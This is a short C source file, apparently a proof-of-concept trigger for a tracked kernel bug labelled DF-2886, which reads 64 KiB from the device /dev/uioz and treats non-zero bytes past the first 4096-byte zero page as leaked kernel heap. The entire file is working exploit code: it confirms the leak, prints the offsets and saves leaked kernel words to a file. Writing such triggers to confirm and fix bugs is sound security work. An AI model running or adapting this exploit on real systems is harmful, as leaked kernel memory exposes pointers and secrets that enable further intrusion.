DF-2886 / uioz_trigger.c
/* * DF-2886 userland trigger: read /dev/uioz and inspect what landed in the * buffer. Bytes [0,4096) must be the real ZeroPage zeros. Anything * non-zero at offset >= 4096 is kernel heap read past the ZeroPage * allocation -> kernel memory information leak. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> int main(int argc, char **argv) { size_t sz = 65536; char *buf; const char *out = (argc > 1) ? argv[1] : "leak_sample.txt"; ssize_t n; size_t i, first_nonzero = (size_t)-1, nonzero_count = 0; int fd, zeros_ok = 1; FILE *f; buf = malloc(sz); if (buf == NULL) { perror("malloc"); return 1; } memset(buf, (int)0xAA, sz); fd = open("/dev/uioz", O_RDONLY); if (fd < 0) { perror("open /dev/uioz"); return 1; } n = read(fd, buf, sz); close(fd); if (n < 0) { perror("read"); return 1; } printf("read(/dev/uioz, %zu) returned %zd\n", sz, n); for (i = 0; i < 4096; i++) if (buf[i] != 0) { zeros_ok = 0; break; } for (i = 4096; i < sz; i++) if (buf[i] != 0) { nonzero_count++; if (first_nonzero == (size_t)-1) first_nonzero = i; } printf("bytes[0..4095] all zero : %s\n", zeros_ok ? "YES" : "NO"); printf("first non-zero at : %s\n", first_nonzero == (size_t)-1 ? "(none)" : ""); if (first_nonzero != (size_t)-1) printf("first non-zero at : offset %zu (page +%zu past ZeroPage)\n", first_nonzero, (first_nonzero - 4096) / 4096 + 1); printf("non-zero bytes >= 4096 : %zu / %zu\n", nonzero_count, sz - 4096); f = fopen(out, "w"); if (f) { fprintf(f, "# DF-2886 leak sample: kernel heap read past ZeroPage\n"); fprintf(f, "# layout: +0 = leaked byte at ZeroPage+4096, etc.\n"); for (i = 4096; i + 8 <= sz; i += 8) { unsigned long long v; memcpy(&v, buf + i, 8); if (v != 0) fprintf(f, "+%06zu (pg%02zu): 0x%016llx\n", i - 4096, (i - 4096) / 4096, v); } fclose(f); printf("non-zero qwords written to %s\n", out); } if (!zeros_ok) { printf("RESULT: UNEXPECTED (ZeroPage itself not zero?)\n"); return 3; } if (nonzero_count > 0) { printf("RESULT: LEAK CONFIRMED - kernel bytes past ZeroPage in user buffer\n"); return 0; } printf("RESULT: no leak observed (adjacent pages zero/unmapped)\n"); return 2; } |